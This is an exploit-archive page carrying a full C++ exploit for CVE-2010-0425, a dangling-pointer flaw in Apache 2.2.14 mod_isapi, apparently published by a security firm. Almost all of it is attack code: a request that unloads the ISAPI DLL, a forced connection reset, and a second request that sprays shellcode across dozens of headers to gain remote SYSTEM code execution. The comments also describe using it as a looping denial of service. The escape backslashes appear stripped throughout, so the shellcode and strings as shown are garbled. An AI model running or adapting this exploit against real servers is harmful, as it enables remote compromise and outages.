[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Apache 2.2.14 mod_isapi Dangling Pointer Remote SYSTEM Exploit
# Published : 2010-03-07
# Author : Brett Gervasoni
# Previous Title : Easy FTP Server v1.7.0.2 CWD Remote BoF - MSF Module
# Next Title : Easy FTP Server v1.7.0.2 CWD Remote BoF


/*
 * Apache 2.2.14 mod_isapi Dangling Pointer Remote SYSTEM Exploit (CVE-2010-0425)
 * ------------------------------------------------------------------------------
 *
 * Advisory: http://www.senseofsecurity.com.au/advisories/SOS-10-002
 * 
 * Description:
 * pwn-isapi.cpp exploits a dangling pointer vulnerabilty in Apache 2.2.14 mod_isapi.
 * Due to the nature of the vulnerability, and exploitation method, DEP should be limited to essential 
 * Windows programs and services. At worst, if DEP is enabled for the Apache process, you could cause 
 * a constant DoS by looping this (since apache will automatically restart) :)
 *
 * Note that the exploit code may need to be run multiple times before a shell is spawned (70%
 * success rate - tested on three different systems). Furthermore, the exploit code may require 
 * modification to exploit this vulnerability on different platforms. This is due to loaded memory 
 * references to the unloaded DLL (they will be different for each ISAPI module). Do not test
 * this code in a VM otherwise the code may fail to send the RESET packet (something to do with
 * VMware gracefully closing the connection, instead of sending a RESET packet) - I didnt want
 * to have to use raw packets on Windows. 
 *
 * Shellcode Note: 
 * The shellcode writes "pwn-isapi" to "sos.txt" which is created in the current working directory. 
 * Most operating systems should be supported by this shellcode. I've used Skylined's method of finding
 * the base address of kernel32.dll for Windows 7 and modified it so that it will find the base 
 * address of msvcrt.dll instead. I've also added another check so that it will be able to detect
 * "msvcrt.dll" on Windows Server 2003 (this OS loads msvcrt.dll in 5th position, and before this
 * DLL string is read, another DLL (RPCRT4.dll) length is verifiied which matches the length of 
 * msvcrt.dll. So the added check will verify the presents of "m" before proceeding. 
 *
 * Author: 
 * Brett Gervasoni (brettg [at] senseofsecurity.com.au)
 *
 * Copyright Sense of Security Pty Ltd 2010. 
 * http://www.senseofsecurity.com.au
 */

#include <iostream>
#include <windows.h>
#include <winsock.h>
#include <string>
#include <direct.h>

#pragma comment(lib, "wsock32.lib")

using namespace std;

#define SERVER_PORT 80

void header();
int createConnection(string targetAddr, int targetPort);
int sendTransmission(string message);
string recvTransmission();
void cleanUp();

WORD sockVersion;
WSADATA wsaData;

int sock;
struct sockaddr_in rserver;

int main(int argc, char *argv[])
{
	string serverIP, isapiDLL;
	string triggerVuln, payload;
	char accept[171], referer[733], cookie[5376], random[7604], postData[23379], footer[299];

	//custom shellcode that writes "pwn-isapi" to "sos.txt" in the current working directory
	//Note: There are four NOPs at the end for padding. Not really needed. 
	char shellcode[] = "x31xc0x31xc9x64x8bx71x30x8bx76x0cx8bx76x1cx8bx56x08x8b"
					   "x7ex20x8bx36x66x39x4fx14x75xf2x66xb9x01x6dx66x81xe9x94"
					   "x6cx66x39x0fx66x89xc1x75xe1x89xe5xebx71x60x8bx6cx24x24"
					   "x8bx45x3cx8bx54x05x78x01xeax8bx4ax18x8bx5ax20x01xebxe3"
					   "x34x49x8bx34x8bx01xeex31xffx31xc0xfcxacx84xc0x74x07xc1"
					   "xcfx0dx01xc7xebxf4x3bx7cx24x28x75xe1x8bx5ax24x01xebx66"
					   "x8bx0cx4bx8bx5ax1cx01xebx8bx04x8bx01xe8x89x44x24x1cx61"
					   "xc3xadx50x52xe8xaaxffxffxffx89x07x66x81xc4x0cx01x66x81"
					   "xecx04x01x66x81xc7x08x01x66x81xefx04x01x39xcex75xdexc3"
					   "xebx10x5ex8dx7dx04x89xf1x80xc1x0cxe8xcdxffxffxffxebx3b"
					   "xe8xebxffxffxffx6ex7cx2exe1x1ex3cx3fxd7x74x1ex48xcdx31"
					   "xd2x58x88x50x07xebx2fx31xd2x59x88x51x01xebx2ex51x50xff"
					   "x55x04xebx2cx31xd2x59x88x51x09xebx33x51x50x89xc6xffx55"
					   "x08x53xffx55x0cxe8xd1xffxffxffx73x6fx73x2ex74x78x74x4e"
					   "xe8xccxffxffxffx77x4exe8xcdxffxffxffxe8xcfxffxffxffx70"
					   "x77x6ex2dx69x73x61x70x69x4exe8xc8xffxffxffx90x90x90x90";

	header();

	if (argc < 3)
	{
		printf("usage: %s <ip> <DLL>n", argv[0]);
		return 1;
	}

	serverIP = string(argv[1]);
	isapiDLL = string(argv[2]);

	//all these values could be set to 7601 + sizeof(shellcode)
	//but mixing it up is good. 
	memset(accept, 'A', 170);
	memset(referer, 'A', 732);
	memset(cookie, 'A', 5375);
	memset(random, 'A', 7603);
	memset(postData, 'A', 23378);
	memset(footer, 'A', 298);

	triggerVuln = "POST /cgi-bin/" + isapiDLL + " HTTP/1.0rn"
		"User-Agent: AAAAAAAArn"
		"Pragma: no-cachern"
		"Proxy-Connection: Keep-Alivern"
		"Host: " + serverIP + "rn"
		"Content-Length: 40334rnrn" +
		string(footer);

	//Modify the below request if needed (depending on where your function pointer is pointing)
	//Do so by adding or removing headers. So if you want to hit a higher function pointer, 
	//keep adding headers :) 
	//Note: If performing this blindly, try it a few times, change a bit, try again. 
	//During testing i found that using a chunk of data the same size with the same header name
	//was more unreliable. In memory, large amounts of nulls are being placed either side of the 
	//payload. Since the function pointer address was random, by slightly mixing up the size of 
	//each header i would get better results.
	payload = "POST /cgi-bin/" + isapiDLL + " HTTP/1.0rn"
		"Accept: " + string(accept) + "rn"
		"Referer: " + string(referer) + string(shellcode) + "rn"
		"From: " + string(cookie) + string(shellcode) + "rn"
		"Utruvh-guiergher: " + string(cookie) + string(shellcode) + "rn"
		"Accept-Language: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAArn"
		"Content-Type: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAArn"
		"UA-CPU: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAArn"
		"Pragma: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAArn"
		"User-Agent: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAArn"
		"Cookie: " + string(cookie) + string(shellcode) + "rn"
		"Host: " + serverIP + "rn"
		"Proxy-Connection: Keep-Alivern"
		"Okytuasd: " + string(cookie) + string(shellcode) + "rn"
		"Asdasdasdasdasd: " + string(random) + string(shellcode) + "rn"
		"Asdasda: " + string(random) + string(shellcode) + "rn"
		"Sewrwefbui: " + string(random) + string(shellcode) + "rn"
		"Qdfasdernu: " + string(random) + string(shellcode) + "rn"
		"Cdffew-asdf: " + string(random) + string(shellcode) + "rn"
		"Kuiytnb-Ehrf: " + string(cookie) + string(shellcode) + "BBBB" + "rn"
		"Lsfergjnuibubiu: " + string(cookie) + string(shellcode) + "BBBB" + "rn"
		"Baefrwerifnhu: " + string(cookie) + string(shellcode) + "BBBB" + "rn"
		"Zdsfno: " + string(cookie) + string(shellcode) + "BBBB" + "rn"
		"Psdfsafn: " + string(cookie) + string(shellcode) + "BBBB" + "rn"
		"Zefwefnuivre-sdf: " + string(cookie) + string(shellcode) + "BBBB" + "rn"
		"Ivre-sdf: " + string(cookie) + string(shellcode) + "BBBB" + "rn"
		"Yvasde-sdf: " + string(cookie) + string(shellcode) + "BBBB" + "rn"
		"Yuionbsdf: " + string(cookie) + string(shellcode) + "BBBB" + "rn"
		"Yasdasdasdf: " + string(cookie) + string(shellcode) + "BBBB" + "rn"
		"asdasdde-sdf: " + string(cookie) + string(shellcode) + "BBBB" + "rn"
		"Ertuioert-erf: " + string(cookie) + string(shellcode) + "BBBB" + "rn"
		"Content-Length: 25054rnrn" + 
		string(postData) + "CCCC" + string(shellcode) + "BBBB" + string(footer);

	//Setup connection
	if (createConnection(serverIP, SERVER_PORT) == 1)
	{
		printf("- an error occurred connecting to the servern");
		return 1;
	}

	printf("[+] Connected to %s.n", serverIP.c_str());

	printf("[+] Setting socket data structure valuesn");
	int iOptVal;
	int aiOptVal;
	
	struct linger linger_data;
	
	//This is meant to set closesocket to do a "graceful close",
	//however this is not the case when WSACancelBlockingCall() is called. A RESET packet is 
	//sent as a result - Note that if in a vm, for some reason a RESET packet does not get sent. 
	linger_data.l_onoff = 0;
	linger_data.l_linger = 0;

	setsockopt(sock, SOL_SOCKET, SO_LINGER, (char*)&linger_data, sizeof(linger_data));
	setsockopt(sock, SOL_SOCKET, SO_DONTLINGER, (char*)&linger_data, sizeof(linger_data));

	//Set SO_LINGER to 0 so WSACancelBlockingCall() will cause a RESET packet to be sent
	getsockopt(sock, SOL_SOCKET, SO_LINGER, (char*)&linger_data, &iOptVal);
	getsockopt(sock, SOL_SOCKET, SO_DONTLINGER, (char*)&linger_data, &aiOptVal);
	printf("    - SO_LINGER value is set to %ldn", linger_data.l_onoff);
	printf("    - SO_DONTLINGER value is set to %ldn", linger_data.l_linger);
	
	printf("[*] Triggering DLL unloadn");
	sendTransmission(triggerVuln);

	Sleep(2000); //Sleep for a bit, otherwise on first run a RESET packet doesn't get sent. 
	WSACancelBlockingCall(); //Cause reset packet response

	Sleep(2000); //The multiple Sleeps seem to break up stuff a bit, making it more reliable...
	closesocket(sock);

	Sleep(2000);
	WSACleanup();
	
	Sleep(2000);
	printf("[+] The DLL should be unloaded by nown");
	
	//Reconnect to deliver payload
	if (createConnection(serverIP, SERVER_PORT) == 1)
	{
		printf("- an error occurred connecting to the servern");
		return 1;
	}
	
	printf("[*] Sending payloadn");
	sendTransmission(payload);

	cleanUp();

	printf("[+] Check to see if sos.txt was created...n");

	return 0;
}

void header()
{
	printf("Apache 2.2.14 mod_isapi Remote SYSTEM Exploit (CVE-2010-0425)n");
	printf("-------------------------------------------------------------n");
	printf("         Brett Gervasoni (brettg [at] senseofsecurity.com.au)n");
	printf("                    Copyright Sense of Security Pty Ltd 2010.n");
}

//Setup the server
int createConnection(string serverIP, int port)
{
	int result = 0, len = 0;

	sockVersion = MAKEWORD(1,1);
	WSAStartup(sockVersion, &wsaData);
	
	if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
	{
		perror("error: socket()n");
		result = 1;
	}

	rserver.sin_family = AF_INET;
	rserver.sin_port = htons(port);
	rserver.sin_addr.s_addr = inet_addr(serverIP.c_str());
	memset(&rserver.sin_zero, 0, 8);

	len = sizeof(struct sockaddr_in);
	
	if ((connect(sock, (struct sockaddr *)&rserver, sizeof(struct sockaddr_in))) == -1)
	{
		perror("error: connect()n");
		result = 1;
	}

	return result;
}

//Send a message
int sendTransmission(string message)
{
	int bytes_sent = 0;

	bytes_sent = send(sock, message.c_str(), message.length(), 0);
	if (bytes_sent < 0)
	{
		perror("error: send()n");
		exit(1);
	}
	
	return bytes_sent;
}

//Receive a message
string recvTransmission()
{
	string result;
	char *c = new char[1];
	int bytes_recv = 0;

	while (c[0] != NULL)
	{
		bytes_recv = recv(sock, c, 1, 0);

		if (bytes_recv < 0)
		{
			perror("error: recv()n");
			//exit(1);
		}

		result += c[0];
	}

	return result;
}

//Clean up the connection
void cleanUp()
{
	closesocket(sock);
	WSACleanup();
}